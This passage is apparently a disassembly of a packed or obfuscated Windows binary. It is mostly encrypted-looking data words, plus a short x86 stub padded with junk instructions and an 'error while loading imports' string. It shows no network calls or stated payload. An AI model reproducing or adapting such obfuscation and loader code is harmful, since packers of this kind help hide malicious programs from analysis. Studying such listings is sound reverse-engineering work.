340DB14Ch, 95344211h, 7CAE52F8h, 0CF6DD6E5h dd 7A34FCD3h, 51EE75F8h, 0C48EEA1Eh, 7F0BF46h, 0BB3DE40Dh dd 5A8C71Ch, 0E3947431h, 69713EF3h, 8EDh, 36D97480h, 9336D5A1h dd 0F08F363Ch, 9A3DD81Bh, 0E2852C45h, 7D745D7Fh, 0D49C33D6h dd 7C798E31h, 0CAA53ADDh, 0AF568827h, 0E9B3A930h, 5BE7C838h dd 0B239DC1Bh, 0D16E15DDh, 0DA3CD579h, 40BF4683h, 0C4F55AAAh dd 6605F1BEh, 61DD81C9h, 629360E3h, 9ECF24C3h, 902DD0A8h dd 0F0D788ACh, 9C1E1858h, 3BC2811Eh, 4FC72C7Eh, 3AD37A80h dd 16EB7010h, 33C72C4Eh, 1B981BAEh, 3D16AF2Dh, 0C67F18AEh dd 0F66D8E42h, 815A0A24h, 0D82DD178h, 712CFC9Fh, 4F43CE38h dd 8531CBEh, 6E60000h, 3737CC6Bh, 18E2F998h, 3A39CE71h dd 0EEB009Fh, 0FFA5C867h, 6100A7D2h, 2CCB6E8Ah, 58F796D7h dd 2ED17483h, 439A19BCh, 1E38E9B2h, 966D754Dh, 0E315B958h dd 6BE86B5Eh, 0C4F55C7Dh, 56EF88FEh, 0E5BF6C89h, 6EAF89CEh dd 4EA343C5h, 0E6F77C20h, 79C72CF4h, 9639360Bh, 905E7514h dd 7AC254F1h, 0D957FAF6h, 8950CF52h, 0D8C72CF4h, 74AA0B46h dd 0F49212CBh, 4352D154h, 1EC72C90h, 0D1FB0FA8h, 7E744B7Eh dd 6C0C3ED7h, 97615797h, 4CD376F4h, 0C72C9089h, 2EB512AAh dd 2C90F4B1h, 3ADD6BC7h, 0A3D3C9A5h, 5AE98604h, 0C72C938Fh dd 6D857F79h, 48AB44C6h, 0F7ED8A31h, 0B9B53A15h, 4BCD7D1Ah dd 0DD105F8Dh, 4DBBD94Fh, 943455BEh, 3F392F3Fh, 0EBC11897h dd 2AA0C72Ch, 1EA32AA8h, 2CEB58A1h, 2DD137C7h, 59FDF90Eh dd 2CEB03DAh, 6AE85EC7h, 0EBD376CDh, 1EDC72Ch, 422EC562h dd 6F44069Fh, 1843DC83h, 13D5034Eh, 15E166E9h, 0EBEBF271h dd 86C72Ch, 952BDF82h, 5F1DAB32h, 31F1474Dh, 69F462Ch dd 1F22C644h, 2C735AA0h, 36CF35C7h, 0CC0D920Fh, 0A3C72C73h dd 0A6BC8125h, 4F534E97h, 3DA59DCh, 5EBB4AD4h, 93DE48E8h dd 75EB329h, 1B0A588h, 3E1D0000h, 0BAACBA7h, 0D35AD872h dd 0F552224Ch, 4CCF35C4h, 5DFCFAC9h, 0A44333C0h, 826D8226h dd 0CCAB40DFh, 0A1CDA229h, 902DC8ABh, 0AB9F38BAh, 6A11320Bh dd 0F0BE6503h, 0E4BDC755h, 0F37A7D41h, 20DC5867h, 12B685C0h dd 0BE469E8h, 0CC57E568h, 325D3408h, 41967519h, 1CFA9336h dd 8F6403C4h, 0A637BC5Ch, 0B94C5610h, 0C246CD4Bh, 4AD35C15h dd 0F34CEC52h, 0CF727D52h, 0FA9DDA2Fh, 0D4778057h, 61C3083Bh dd 0E905DADBh, 0E83FBE45h, 0B4523EDBh, 195A9936h, 0FB29E17Eh dd 6DB14674h, 0EF925DE2h, 19BCBB50h, 11B0BD92h, 0FA42D46Dh dd 3DCB46CDh, 9831A4B9h, 75BA5EA7h, 3EDBED64h, 963936FBh dd 45CA51F9h, 3EDBEDB4h, 1CBB3DCBh, 8D2C4A19h, 8CF0E4FDh dd 7216C3A0h, 50ED945Dh, 9F541EF5h, 7781370Dh, 0E27BFD7Ah dd 0E56C868h, 0D0AD32B9h, 473EDBDFh, 0AEC91EC1h, 0B8C1BBB4h dd 54D67411h, 74118FBBh, 32CB727Fh, 0F0232ED8h, 33B05023h dd 3EDBDFAAh, 24C13FC5h, 7CFEA1CFh, 45E807DCh, 0A7D09FA2h dd 608F6404h, 4FE88766h, 63766FFBh, 0ACB3F6FAh, 3F85912Eh dd 877E0588h, 1A3EDB89h, 0C4480DACh, 0D6EDDD7Bh, 0E7FC9CABh dd 3CE30E08h, 8C29A7A3h, 64E78667h, 919B62E1h, 70EF3EDBh dd 3EDB9169h, 84028208h, 0EF994BE4h, 0F99CDB60h, 0EFFCD356h dd 501FB454h, 0BE0610ADh, 8FD8209h, 9F3EDB91h, 0FE449A1Bh dd 0A3251071h, 5FFEEF04h, 0C7B07FC6h, 4A928424h, 9079F67Dh dd 0F3EDB56h, 0DBB05722h, 0DC7BFD98h, 0F7ECD359h, 47344F7Ch dd 0DC1BA1A7h, 0DD649639h, 599A69ECh, 98171ABEh, 0C4F5411Eh dd 0F3C043C1h, 81C46302h, 752411FBh, 0F99D65E7h, 0CD6A09E4h dd 53D0F449h, 0C72CAB8Ah, 5AE15FE5h, 118C17D5h, 25C2483Dh dd 1FCDB1Eh, 0E8E178CDh, 0FDF0DE65h, 0A77C373Ch, 0B08C29C4h dd 90DC45Bh, 8D31AF7Bh, 35B033D1h, 66CE2FAEh, 24C442D3h dd 6C0FE80Bh, 0A8A40B9Ch, 22B8555Dh, 4D9h, 42E5806Ch, 7F22C1ADh dd 4CEB9268h, 7619B4B7h, 4EF19861h, 2158792Bh, 0F800D77Ah dd 501DB255h, 0FEF90EB1h, 8B0ABC5Bh, 0E9AFF504h, 1FA38C38h dd 9B22A73Eh, 3EB6B0Dh, 0FD8ED0DAh, 7CF1813Ch, 0D356FAB2h dd 0F527A24Ch, 0B64FB5C4h, 2D354F8Dh, 89C8B6C7h, 69FDA91Fh dd 0A8AFFCh, 49160000h, 0A1483230h, 24C44604h, 7D466B1Eh dd 8D173EC8h, 0C6B1ABC4h, 7D58A11Eh, 0D1373EC8h, 333DB64Fh dd 0D553F790h, 0F742B453h, 0C5BC43CAh, 553EC87Dh, 7D8A53D0h dd 5FE53EC8h, 7E0583BFh, 8825C4B1h, 7DA736BDh, 4CBA3EC8h dd 0E2112ACEh, 5BCF7215h, 0B73CBF02h, 3EC87DDEh, 0C92AC341h dd 0BB880BAEh, 9D7C1CBBh, 6AF1D069h, 0C87DF0E5h, 6401873Eh dd 34421ADFh, 0A4282BC1h, 593E094Ah, 8F791DA4h, 0BE035EC0h dd 0FEC5B837h, 7E55C137h, 0BE35D26Dh, 0DA700DB4h, 0E7CB858h dd 0B67B6Bh, 0BD80000h, 9EAC49ECh, 0A73E34FAh, 2A149B22h dd 0ADC4F55Ch, 7B757E17h, 7DC539D8h, 4540BF46h, 0DCC72C9Ch dd 6E72D16Eh, 97C72C9Ch, 0C0F862EDh, 0CFC6996h, 81200F80h dd 0C0609D12h, 7707h, 0A43E7B00h, 0C6179C1Fh, 993EC87Dh dd 0D2B2DA1Dh, 8907126Bh, 46E907ECh, 81A9EA3h, 2E20709Eh dd 0D250EFFFh, 5362FC2Eh, 0FE5BF7CBh, 0D6A378F5h, 0A52AB12Fh dd 3EC853E0h, 0E24D0377h, 0B7319839h, 0C09917B6h, 0F89513BAh dd 0CBB7B64Bh, 125D873Eh, 169D26B0h, 37B7F499h, 62E164C1h dd 0C137B79Bh, 9D3C39F6h, 28C84A00h, 36FB9E2Ch, 50ED8C69h dd 0B65521FAh, 0C78D3119h, 462BDC1Bh, 7222B201h, 90B552D0h dd 7411B4C3h, 0D29D32D6h, 479E902Fh, 0CA94C2Bh, 0E36508E7h dd 9F483757h, 0B23006AEh, 6766A42Bh, 34F9C4F5h, 862D4537h dd 61DF61E9h, 677A7FC4h, 0BAB4C72Dh, 8271821Bh, 0C8A54EE7h dd 0FCBE8C29h, 67517FD2h, 1048B2BDh, 0BCFC69D0h, 4F13D030h dd 6AE07D20h, 0C8D96DAh, 20736Ch, 3ECF0000h, 149B22A7h dd 0C4F4AE1Eh, 99AA43C1h, 0C72CB244h, 127CD3B1h, 0FC6980DAh dd 0D57Ch, 0DC1B0600h, 0DAA99C39h, 0ED5DFA9Dh, 16BDB449h dd 0DA7D7A79h, 4A84083Dh, 0D0463E24h, 58F7F7CCh, 0AC5423B8h dd 0C8B5D627h, 9D1BA93Eh, 0B28035FAh, 313E3EC8h, 0DB14EB8Eh dd 0E2779F38h, 0BE9C5DE2h, 55F33EC8h, 0D9D350D3h, 8BC4F59Dh dd 8F1BBAB4h, 273D5329h, 0D49ED71h, 9F26D877h, 0A31EA32Ah dd 2DF6DD1Ch, 7216B4C7h, 135F7CADh, 0CE55F33Dh, 8851CE53h dd 0E7CD0F99h, 5128BD61h, 9F007AAh, 0F36B8E62h, 0D05D43C1h dd 2100Ah, 36D1A300h, 93323C93h, 6C13DFF4h, 9A3536CDh dd 7219E0F7h, 0D9F8AACFh, 8156F9A0h, 9E35D477h, 7A9130CFh dd 8337DA7Dh, 0A87A8300h, 541538E9h, 37DE1B6Eh, 4B079598h dd 2CE13319h, 11DEF393h, 0C59C6360h, 0A927A391h, 0A73E4006h dd 99169B22h, 3EC87D40h, 0FB19A91Fh, 5556BE7h, 49CC8F2Fh dd 36DA7D7Ah, 0F49333F1h, 811EACC4h, 5FFEEFC4h, 28C86F8Ah dd 2D71DE23h, 125D47C7h, 69BE30A8h, 10426FCh, 1B9C0000h dd 7611E2DCh, 61985BF4h, 8F5C33BAh, 4FEF5BF4h, 73804FF6h dd 6B0B3FD8h, 0C87A33E6h, 5F02ED3Eh, 0A94C2BC0h, 831E4D22h dd 6E8B60EAh, 370E27C7h, 86A435BAh, 4DBBC137h, 86B049C6h dd 39CFC137h, 94DE6395h, 2D1DBA59h, 0ECA6849Dh, 81FFFF87h dd 66B775FAh, 0A2283B0Ah, 0EB60BFFh, 2C6A4891h, 179C27C7h dd 0C72C6AC6h, 1DAD2B99h, 8C9E9026h, 0D9012E2h, 1202D886h dd 66ED5B3Dh, 37DE14EBh, 97D7AC9Eh, 4BEB5FF8h, 9114BBB6h dd 0A044180Bh, 0AF367C40h, 0FC1A930h, 9E42C8CDh, 8E5BA7Fh dd 0DA7ECC69h, 7145EC05h, 43C1AB4Ch, 0D621B956h, 69000000h dd 0BA51F08Bh, 657A1DBCh, 0AC43E68Dh, 6E8524BFh, 183DDC83h dd 7B224F82h, 46E907DCh, 82214CA3h, 4CEF08DFh, 159A39ADh dd 38E9ABC4h, 1BF0D29Bh, 31B437DEh, 0C87D2BB2h, 20C0463Eh dd 8A673C01h, 60004AE3h, 84726C8Bh, 800248E5h, 0DC1B59E1h dd 18579C39h, 804FD275h, 0FC2ED279h, 3EE50D65h, 9BBA39BCh dd 7FC4EA37h, 7FB17602h, 0A79935D7h, 16ACDB22h, 0C44BB6C7h dd 0C716AC35h, 9C3CBE4Ch, 668D2AA0h, 0AC43E689h, 0BC8720C3h dd 1645249Eh, 3ABF929Ch, 0E0F79A3Dh, 18DB7417h, 63A740DBh dd 4631B6B9h, 78111095h, 0CDA43B8Bh, 3FC18926h, 0AEC91EC1h dd 0BDBB880Bh, 84F8E15h, 0A422F466h, 31A98226h, 0Dh, 51A827AAh dd 30F46608h, 8630F69Ah, 3ED91BBCh, 822552A1h, 40DF0EE5h dd 81244CA7h, 3BE20FE4h, 812851A2h, 41DC0FE4h, 7C234FA4h dd 47E610E3h db 0AEh, 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], ecx push 0B18h mov [esp], esi push edi mov edi, esp add edi, 4 sub edi, 4 xchg edi, [esp] pop esp mov [esp], ebp push 545Fh mov [esp], ebx push 74CF0DD3h pop ebx xor ebx, 72EEC748h mov esi, ebx pop ebx push esp mov ebp, [esp] add esp, 4 push esi add dword ptr [esp], 714E5F46h pop dword ptr [ebp+8] push esi mov esi, 64755A1Ah and esi, 0DDF6AB5h sub esi, 72342BDAh sub esi, 20D2BEF0h sub [ebp+8], esi pop esi mov ebp, [esp] push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp push dword ptr [esp] pop esi add esp, 4 jmp loc_53531C ; --------------------------------------------------------------------------- dd 0CD5499C9h, 0E67762DDh, 3CD16B0Eh, 0ADB85A72h, 30621D7h dd 0EFE0FFC5h, 0E11D2443h, 0B60B9347h, 0D312E18Ah, 71044048h dd 3E213EA3h, 510B6BD2h, 6F1EB562h, 0D03FBFE3h, 0AB355AF6h dd 80E4102h, 84D3652h, 5F633059h, 467B030Eh, 0E43D09B0h dd 0C82A98AFh, 0C56CFBADh, 9604F754h, 635CD7FEh, 0A351D58h dd 0CF7AD988h, 5C0B4ED8h, 0A424A71Ah, 0A755CF69h, 0D63A3E02h dd 55EF418h, 0DA237AFEh, 16ED3F2h, 0E91E9186h, 127h, 73765B50h dd 154EEFACh, 0 aAnErrorHasOcur db 'An Error has ocurred while loading imports',0 db 37h dd 0EB77E7ACh, 4977E75Ch, 1F77E73Ch, 77F7E2h, 77F7E3h dd 777E600h, 5 dup(0) dd 0FD000000h, 77E7A5h, 2Bh dup(0) dd 2000000h, 48000000h, 0F4C706E1h, 0CF63921Dh, 0F38F96A6h dd 11340E45h, 35B11C13h, 4229244Fh, 722B6166h, 0A9F29E35h dd 88321177h, 699390EFh, 0BFBF137Dh, 172FB32Bh, 0D069C699h dd 751BA8E5h, 5632137Dh, 0A9614571h, 88321177h, 699390EFh dd 0BFBF137Dh, 172FB65Ah, 0D069C699h, 0F9B1D5EDh, 2413CC40h dd 1B61A66h, 5321566h, 658A0FE3h, 0AFE2EA60h, 308A5FE3h dd 4EE2EA60h, 5F1188E3h, 705A4360h, 0EEAEBDDEh, 931D04D3h dd 2B79860h, 0DD340B16h, 90B79CB6h, 5340E4Dh, 65EBE3E3h dd 0A7BF4560h, 1713CDB1h, 0FDA7EA36h, 83340E6Bh, 3930C8E3h dd 11321560h, 15B7D366h, 1340E45h, 505B7C0Eh, 0E887EAE8h dd 5340E4Dh, 5F0B0AE3h, 0ABE2EA60h, 0A3500E3h, 15B7D360h dd 7340E45h, 45594B0Eh, 0E887EAFAh, 5340E4Dh, 5F0B0AE3h dd 0ABE2EA60h, 30EB1BE3h, 15B7D360h, 10340E45h, 405A3C0Eh dd 0E887EA88h, 5340E4Dh, 5F0B0AE3h, 0ABE2EA60h, 30EB07E3h dd 15B7D360h, 1340E45h, 420AD70Eh, 0E887EABCh, 5340E4Dh dd 5F0B0AE3h, 0ABE2EA60h, 30EB03E3h, 5D8F9660h, 44340E7Ah dd 22779069h, 94F41566h, 8E2936FBh, 3AB47D23h, 97CDEF46h dd 17293E9Fh, 0B12D90EBh, 94CD137Dh, 0FB2890EFh, 94F41347h dd 8E2936FBh, 94F17D2Ah, 97CDF540h, 17293E9Fh, 0B12D90EBh dd 94CD137Dh, 0FB2C90EFh, 51DB1347h, 4E321566h, 5F1188E3h dd 2F5A4760h, 0EE8E5F82h, 931AF8D3h, 5BB79860h, 0DD340E5Fh dd 0BB79CB6h, 4E3434BFh, 5F1188E3h, 6A5A4760h, 0EE94592Ch dd 931AF8D3h, 5BB79860h, 0DD340E5Fh, 0FB79CB6h, 4E3434BFh dd 5F1188E3h, 0C85A4760h, 0EECF57D2h, 9319ECD3h, 5BB79860h dd 0DD340E5Fh, 1CB79CB6h, 4E340E55h, 5F1188E3h, 815A6260h dd 0EEC182CEh, 931BA0D3h, 5BB79860h, 0DD340E5Fh, 58B79CB6h dd 4E340E42h, 5F1188E3h, 355A4760h, 0EEB8C857h, 9319ECD3h dd 5BB79860h, 0DD340E5Fh, 7CB79CB6h, 4E340E6Fh, 5F1188E3h dd 1B5A4360h, 0EEE60A0Bh, 931D04D3h, 2B79860h, 0DD340B16h dd 24B79CB6h, 4E340E66h, 5F1188E3h, 585A5260h, 0EEB3C976h dd 9319ECD3h, 5BB79860h, 0DD340E5Fh, 0ECB79CB6h, 4E340E6Dh dd 5F1188E3h, 0C05A5260h, 0EEB81AD3h, 9319ECD3h, 5BB79860h dd 0DD340E5Fh, 2FB79CB6h, 0B3434BFh, 5F3F84DBh, 0A63D1560h dd 11321337h, 0ABAF90A0h, 2C7E137Dh, 0FBE8098Fh, 3ACBA099h dd 0DBF137Dh, 42292C79h, 0A7BBC599h, 1713CC4Ch, 0ABAF90A0h dd 2C7E137Dh, 0FF46CBA8h, 3ACBA099h, 0DBF137Dh, 42292C79h dd 0A7BBC599h, 1713CC48h, 0ABAF90A0h, 2C7E137Dh, 95B39759h dd 3ACBA099h, 0DBF137Dh, 42292C79h, 0A7BBC599h, 1713CC54h dd 0ABAF90A0h, 2C7E137Dh, 911D557Eh, 3ACBA099h, 0DBF137Dh dd 42292C79h, 0A7BBC599h, 1713CC54h, 0ABAF90A0h, 2C74137Dh dd 98EC1372h, 3ACBA099h, 0DBF137Dh, 42292C79h, 0A7BBC599h dd 1713CC5Ch, 0ABAF90A0h, 2C75137Dh, 0A3EE051Ch, 3ACBA099h dd 0DBF137Dh, 42292C79h, 0A7BBC599h, 1713CC24h, 0ABAF90A0h dd 2C75137Dh, 0CDB59BCAh, 3ACBA099h, 0DBF137Dh, 42292C79h dd 0A7BBC599h, 1713CC20h, 0ABAF90A0h, 2C75137Dh, 0F6A8B2B4h dd 3ACBA099h, 0DBF137Dh, 42292C79h, 0A7BBC599h, 1713CC2Ch dd 0ABAF90A0h, 2C75137Dh, 98F32C62h, 3ACBA099h, 0DBF137Dh dd 42292C79h, 0A7BBC599h, 1713CC28h, 8BBBA8E5h, 3132137Dh dd 0BFB7D346h, 56340E45h, 0FA1F720Eh, 0BD87EA86h, 0AF340E4Dh dd 0A0B0AE3h, 1E2EA60h, 65EB47E3h, 0BFB7D360h, 56340E45h dd 0A181A40Eh, 0BD87EAE8h, 0AF340E4Dh, 0A0B0AE3h, 1E2EA60h dd 65EB43E3h, 0BFB7D360h, 52340E45h, 0FE78B20Eh, 0BD87EAA6h dd 0AF340E4Dh, 0A0B0AE3h, 1E2EA60h, 65EB4FE3h, 0BFB7D360h dd 5D340E45h, 0EE5EFE0Eh, 0F187EA9Dh, 0AF340E4Fh, 0A0B0AE3h dd 1E2EA60h, 65EBFBE3h, 0BFB7D360h, 55340E45h, 0FBBC400Eh dd 0BD87EADDh, 0AF340E4Dh, 0A0B0AE3h, 1E2EA60h, 65EB4BE3h dd 0BFB7D360h, 52340E45h, 65CE90Eh, 0BD87EADAh, 0AF340E4Dh dd 0A0B0AE3h, 1E2EA60h, 65EB77E3h, 0BFB7D360h, 42340E45h dd 980CBF0Eh, 0BD87EAA0h, 0AF340E4Dh, 0A0B0AE3h, 1E2EA60h dd 65EB73E3h, 0EF8F9660h, 11340E60h, 88D29169h, 0C1F41566h dd 242936FBh, 0DF037D20h, 3DCDEFF0h, 42293E9Fh, 1B2D90EBh dd 0C1CD137Dh, 51F090EFh, 0C1F41347h, 242936FBh, 2BE47D20h dd 3DCDE9C1h, 42293E9Fh, 1B2D90EBh, 0C1CD137Dh, 51E090EFh dd 0C1F41347h, 242936FBh, 0B5327D20h, 3DCD879Ah, 42293E9Fh dd 1B2D90EBh, 0C1CD137Dh, 51E490EFh, 0C1F41347h, 242936FBh dd 5E587D20h, 3DCDE3B2h, 42293E9Fh, 1B2D90EBh, 0C1CD137Dh dd 51E890EFh, 0C1F41347h, 242936FBh, 41D57D20h, 3DCD81ABh dd 42293E9Fh, 1B2D90EBh, 0C1CD137Dh, 51F490EFh, 0C1F41347h dd 242936FBh, 65097D20h, 3DCDA444h, 42293E9Fh, 1B2D90EBh dd 0C1CD137Dh, 51F890EFh, 0C1F41347h, 242936FBh, 0FBDF7D20h dd 3DCDCA1Fh, 42293E9Fh, 1B2D90EBh, 0C1CD137Dh, 51FC90EFh dd 0F9B11347h, 242916EFh, 0D7126066h, 931188E3h, 1A5A4660h dd 0DDFCAB86h, 0A19ECD3h, 97B79860h, 0BB340E5Fh, 48B79CB6h dd 0D73434BFh, 931188E3h, 0C35A5260h, 0DDF5A438h, 0A19ECD3h dd 97B79860h, 0BB340E5Fh, 4CB79CB6h, 923434BFh, 93319CDBh dd 64471560h, 1AF90A0h, 7975137Dh, 6E506B63h, 6FCBA099h dd 0A7BF137Dh, 17292C79h, 0DBBC599h, 4213CC14h, 1AF90A0h dd 7971137Dh, 1A481C90h, 6FCBA099h, 0A7BF137Dh, 17292C79h dd 0DBBC599h, 4213CC10h, 1AF90A0h, 7971137Dh, 74138246h dd 6FCBA099h, 0A7BF137Dh, 17292C79h, 0DBBC599h, 4213CC1Ch dd 21BBA8E5h, 6432137Dh, 15B7D326h, 7340E45h, 229A160Eh dd 0E887EAEDh, 5340E4Dh, 5F0B0AE3h, 0ABE2EA60h, 30EB97E3h dd 15B7D360h, 7340E45h, 7904C00Eh, 0E887EA83h, 5340E4Dh dd 5F0B0AE3h, 0ABE2EA60h, 30EB6BE3h, 15B7D360h, 7340E45h dd 8800F40Eh, 0E887EA8Ch, 5340E4Dh, 5F0B0AE3h, 0ABE2EA60h dd 30EB93E3h, 15B7D360h, 7340E45h, 0D39E220Eh, 0E887EAE2h dd 5340E4Dh, 5F0B0AE3h, 0ABE2EA60h, 30EB9FE3h, 15B7D360h dd 0B340E45h, 17A2C10Eh, 0E887EAF1h, 5340E4Dh, 5F0B0AE3h dd 0ABE2EA60h, 30EB9BE3h, 15B7D360h, 0B340E45h, 4C3C170Eh dd 0E887EA9Fh, 5340E4Dh, 5F0B0AE3h, 0ABE2EA60h, 30EB87E3h dd 15B7D360h, 9340E45h, 154B5C0Eh, 0E887EAAEh, 5340E4Dh dd 5F0B0AE3h, 0ABE2EA60h, 30EB8FE3h, 15B7D360h, 9340E45h dd 0D57F9C0Eh, 0E887EABAh, 5340E4Dh, 5F0B0AE3h, 0ABE2EA60h dd 30EB83E3h, 15B7D360h, 11340E45h, 391F220Eh, 0E887EAFAh dd 5340E4Dh, 5F0B0AE3h, 0ABE2EA60h, 30EB8BE3h, 15B7D360h dd 7340E45h, 0F7C23F0Eh, 0E887EAB4h, 5340E4Dh, 5F0B0AE3h dd 0ABE2EA60h, 30EBB7E3h, 15B7D360h, 16340E45h, 6086FF0Eh dd 0E887EA9Bh, 5340E4Dh, 5F0B0AE3h, 0ABE2EA60h, 0A0118E3h dd 15B7D360h, 3340E45h, 0BA6B8C0Eh, 0E887EA84h, 5340E4Dh dd 5F0B0AE3h, 0ABE2EA60h, 30EBB3E3h, 15B7D360h, 3340E45h dd 0DF52D70Eh, 0E887EAD7h, 5340E4Dh, 5F0B0AE3h, 0ABE2EA60h dd 30EBBFE3h, 15B7D360h, 3340E45h, 84CC010Eh, 0E887EAB9h dd 5340E4Dh, 5F0B0AE3h dd 0ABE2EA60h, 30EBBBE3h, 15B7D360h, 1B340E45h, 72C07D0Eh dd 0E887EAF8h, 5340E4Dh, 5F0B0AE3h, 0ABE2EA60h, 30EBA7E3h dd 15B7D360h, 0B340E45h, 0DE492A0Eh, 0E887EAA1h, 5340E4Dh dd 5F0B0AE3h, 0ABE2EA60h, 30EBCBE3h, 15B7D360h, 3340E45h dd 795C590Eh, 0E887EA9Ch, 5340E4Dh, 5F0B0AE3h, 0ABE2EA60h dd 30EBF7E3h, 15B7D360h, 3340E45h, 2416D80Eh, 0E887EAA5h dd 5340E4Dh, 5F0B0AE3h, 0ABE2EA60h, 30EBF3E3h, 15B7D360h dd 1B340E45h, 9952D90Eh, 0E887EAB2h, 5340E4Dh, 5F0B0AE3h dd 0ABE2EA60h, 30EBA3E3h, 15B7D360h, 1B340E45h, 0CB665B0Eh dd 0E887EAF8h, 5340E4Dh, 5F0B0AE3h, 0ABE2EA60h, 30EBAFE3h dd 15B7D360h, 1B340E45h, 311A5D0Eh, 0E887EAB7h, 5340E4Dh dd 5F0B0AE3h, 0ABE2EA60h, 30EBABE3h, 0E0367F60h, 44320566h dd 2222150Eh, 0EE327F66h, 931994F3h, 79B79C60h, 0AF340E6Fh dd 30F33DE3h, 0E2E2EA60h, 54327D62h, 225A1566h, 7B321546h dd 9A7EA66h, 0CD340E4Dh, 39105CE3h, 4B79C60h, 0E2340E75h dd 54327D26h, 225A1566h, 7B321466h, 9A7EA66h, 0CD340E4Dh dd 391B90E3h, 48879E60h, 3340E4Ah, 5F2008FBh, 0D3879C60h dd 98340E67h, 9316C4FBh, 59AF9E60h, 0A9340E74h, 11CB966Dh dd 82ED9169h, 15621566h, 0ABF22606h, 0A3530E3h, 880EAB60h dd 30311566h, 8F543542h, 31165165h, 8B4A65EDh, 0CF123112h dd 9FBB0D18h, 17291437h, 0D3DEAE3h, 4432156Ch, 22231B8Eh dd 11A3FC66h, 3631566h, 40E07EB1h, 3EAF80EFh, 1558137Dh dd 8822150Eh, 44584766h, 9B38099h, 94BB137Dh, 8E29030Bh dd 0AC6BC5EDh, 223205B9h, 5531B830h, 3A53142h, 840042B9h dd 0DBB71AC8h, 4FCDEA99h, 360EE4Dh, 798F9EB1h, 0A1340E6Fh dd 0D101EAAFh, 490013ECh, 0C3369E20h, 113AFCA7h, 943D5FAEh dd 77CDEA8Ch, 94C5D4EDh, 0A1309C3Ch, 0EE6011A4h, 933530E3h dd 61A79E60h, 1B340E61h, 0A3344F3h, 82B61A60h, 1E321566h dd 26F49638h, 0EECD8E8Fh, 0E96C4F99h, 0C1F54D3Fh, 24293EDFh dd 11321566h, 8BEF90A1h, 4432137Dh, 9FB11566h, 1713CC40h dd 80B61A66h, 0C9321566h, 30D68FBh, 0EEE1EA60h, 933330E3h dd 618F9660h, 46340E67h, 11509769h, 0DF51566h, 42291443h dd 22321567h, 0EF879806h, 53434BFh, 65C47CDBh, 0A9CC3E60h dd 2C8F9EB1h, 0B340E6Fh, 8401EAAFh, 0E30013ECh, 96369E20h dd 0BB3AFCA7h, 0C13D5FAEh, 0DDCDEA8Ch, 0C1C5D4EDh, 0A8DB905Fh dd 0C03D137Dh, 22321571h, 207A8E5h, 8732137Dh, 44321FE3h dd 0FFB7D266h, 10340E64h, 0E9321566h, 4F9AD2DFh, 350BAF0Eh dd 989F4FBFh, 9333E4D3h, 0B874D260h, 22321566h, 0FFDCFB5Bh dd 0A8B71A88h, 0C5321566h, 0FFEFC858h, 5B71ABBh, 4F321566h dd 44321560h, 26F49666h, 10C3A0EFh, 71DB137Dh, 0CF32156Eh dd 0FFB726BEh, 0D0340E64h, 4A1916AEh, 7722D5A7h, 0FFAF9CA7h dd 2C340E64h, 88331566h, 44779669h, 1CB31566h, 0AA89AEDDh dd 880B9069h, 42F51566h, 22321566h, 9836D3E5h, 9333E4D3h dd 59AF9E60h, 0A9340E74h, 71E29E6Dh, 0D19D7EDh, 4229253Fh dd 2130F5A7h, 0A3A20E3h, 8B9F8360h, 60769CA7h, 5EDB747Ah dd 40321566h, 3FB2634h, 5F2478F3h, 2D302E60h, 11322DE2h dd 8CF09666h, 15BF2E27h, 2D340E67h, 0EECDFDE3h, 6B879899h dd 0C93434BEh, 392648DBh, 0D1B6B960h, 88349169h, 0AD981566h dd 0DDCDEA97h, 113215DEh, 5BBF9866h, 0BB340E2Ah, 7BF9C87h dd 4B340E61h, 15B9433Fh, 4229077Bh, 0A7B91EEDh, 17291243h dd 0D31F5B7h, 42290B1Bh, 44A4E355h, 13D2D4CBh, 80079065h dd 0E9A4137Dh, 0A16CD465h, 0A1ACCDBh, 0C3D1460h, 4432155Fh dd 9CB985Dh, 953D137Dh, 8832154Bh, 6D87985Dh, 0A63D137Dh dd 11321547h, 0A58B985Dh, 0C03D137Dh, 22321573h, 0FF7388EBh dd 5BCD1347h, 0C1BBEDEDh, 24290BF7h, 1134A18Fh, 0C9AF9866h dd 0BB343488h, 0FB8F96B5h, 11340E4Eh, 882F9169h, 0C1091566h dd 2429249Fh, 113E9169h, 0D091566h, 422905CBh, 22379069h dd 0A8DB1566h, 0B3CDEA99h, 5F3500E3h, 3AB71A60h, 92321566h dd 932EC0DBh, 0C13D1560h, 2232156Dh, 0D25B90EBh, 1DDB1347h dd 7FCDEA99h, 393500E3h, 98B61A60h, 0BCDEA99h, 65EACADBh dd 0A73D1460h, 11321571h, 510C905Dh, 0C13D1347h, 2232156Dh dd 0F79290EBh, 0E5DB153Eh, 77CDEA99h, 0B38F9699h, 11340E6Bh dd 8B559169h, 0C1091566h, 2413CC4Ch, 94B91213h, 8E2914A3h dd 76B72E21h, 573434BFh, 44B79E61h, 0CF340E7Bh, 9D1C905Dh dd 25471347h, 113B90EDh, 0B375137Dh, 65EB23E3h, 0A9356060h dd 0A1FDCE3h, 0D095260h, 4213CC5Ch, 0A7B91213h, 17290B07h dd 0B6B72E21h, 313434BFh, 2FB79E61h, 56340E69h, 5170905Dh dd 43471347h, 200B90EDh, 2A75137Dh, 0A9EB53E3h, 0CF356060h dd 391768E3h, 94095260h, 8E13CC2Ch, 0C1B91213h, 24291697h dd 5FB72E21h, 0FD3434BFh, 1DB79E61h, 65340E6Dh, 0C864905Dh dd 8F471347h, 4E8B90EDh, 1975137Dh, 30EB47E3h, 0B226060h dd 5F319CDBh, 25471560h, 1C7B90EDh, 0B75137Dh, 5F2574DBh dd 2D461560h, 0C8EC905Dh, 8F471347h, 6D6790EDh, 0A175137Dh dd 0A34D8DBh, 0FA461560h, 568FA8E5h, 5632137Dh, 0D3B72E0Fh dd 0FD3434BFh, 79B79E61h, 65340E7Eh, 0C8E0905Dh, 8F471347h dd 43CB90EDh, 1975137Dh, 30EBD3E3h, 3356060h, 5F3584E3h dd 0A7095260h, 1713CCB0h, 0DB91213h, 422925BFh, 0F8B72E21h dd 643434BFh, 51B79E61h, 3340E48h, 0FBF8905Dh, 16471347h dd 8F7B90EDh, 7F75137Dh, 3EBDBE3h, 9A356060h, 933BE8E3h dd 0F9B15260h, 242907DBh, 1BB61A66h, 0B3321564h, 65EB4FE3h dd 0A9356060h, 0A2524E3h, 0D095260h, 4213CC88h, 0A7B91213h dd 172912A3h, 0D6B72E21h, 